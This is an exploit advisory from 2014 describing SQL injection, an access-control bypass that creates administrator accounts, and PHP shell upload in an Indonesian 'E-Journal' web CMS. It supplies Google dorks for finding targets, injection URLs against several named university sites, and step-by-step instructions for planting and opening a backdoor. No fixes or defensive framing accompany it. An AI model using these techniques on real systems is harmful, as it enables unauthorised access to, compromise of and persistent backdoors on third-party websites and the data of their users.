========================================================================================== 
E-Journal (Old Version) Multiple Vulnerabilities 
========================================================================================== 
 
:-------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : E-Journal (Old Version) Multiple Vulnerabilities  
: # Date : 17th December 2014  
: # Author : X-Cisadane 
: # CMS Developer : http://simlitabmas.dikti.go.id/ejournal/ 
: # Version : Old Version  
: # CMS Language : Indonesian 
: # Category : Web Applications  
: # Vulnerability : SQL Injection, Privilege Escalation and File Upload Vulnerability   
: # Tested On : Google Chrome Version 39.0.2171.95 m (Windows 7 Ultimate 32-Bit English)  
: # Greetz to : X-Code YogyaFree, Explore Crew, CodeNesia, Bogor Hackers Community, Tomi Zaoldyeck and Winda Utari 
:-------------------------------------------------------------------------------------------------------------------------:
 
DORKS (How to find the target) : 
================================ 
inurl:mahasiswa.php intitle:E-Journal 
inurl:dosen.php intitle:E-Journal 
inurl:jurnal.php intitle:E-Journal 
inurl:dokumen.php intitle:E-Journal 
"Karya Tulis Mahasiswa" intitle:E-Journal 
"Design & Programming by" intitle:E-Journal 
"E-Journal adalah aplikasi berbasis web untuk" 
Or use your own Google Dorks :) 

P.S : This E-Journal CMS has 2 versions, The Old Version doesn't have informasi.php (Informasi Menu).  
 
Proof of Concept  
================  
 
[ 1 ] SQL Injection 
POC : 
http://[Site]/[Path]/jurnal.php?detail=jurnal&id=['SQLi] 
 
Example : 
http://e-journal.uniga.ac.id/jurnal.php?detail=jurnal&id='133 
http://www.ejournal-fkipunibba.com/jurnal.php?detail=jurnal&id='133 
http://e-journal.uika-bogor.ac.id/jurnal.php?detail=jurnal&id='133 
http://ejurnal.unjani.ac.id/jurnal.php?detail=jurnal&id='133 
http://ejournal.stikesborromeus.ac.id/jurnal.php?detail=jurnal&id='133 
...etc... 
    
[ 2 ] Privilege Escalation  
You can create a new Administrator Account by Using this Trick. 
For Example my Target is : http://www.ejournal-fisipunla.com/ 
 
Step 1 : Add data.php?tambah=dosen in the URL 
So in this case the URL was http://www.ejournal-fisipunla.com/data.php?tambah=dosen 
 
Step 2 : Then you can see this notice : "ANDA TIDAK BERHAK MENGAKSES HALAMAN INI. SILAHKAN ANDA LOGIN SEBAGAI ADMINISTRATOR". 
Ignore that Notice and click Admin Menu.  
Screenshot #1 : http://i59.tinypic.com/54he2b.png 
 
Step 3 : Tadaaa... Now you can add an Administrator Account. 
Screenshot #2 : http://i59.tinypic.com/2i8vyus.png 

[ 3 ] Upload PHP File (PHP Shell / Backdoor) 
After New Administrator Account was Created, you can logon as an Administrator and Upload a Php File. 

Admin Control Panel Path : http://[Site]/[Path]/admin.php 
Example : http://www.ejournal-fisipunla.com/admin.php 

Then Upload your PHP Shell / Backdoor from http://[Site]/[Path]/data.php?tambah=dosen 
Upload your Php File in the File and Cover form.  
Screenshot #3 : http://i59.tinypic.com/24cxhrc.png 

Open your Backdoor / PHP Shell in : 
http://[Site]/[Path]/cover/your php file name.php  
http://[Site]/[Path]/file/your php file name.php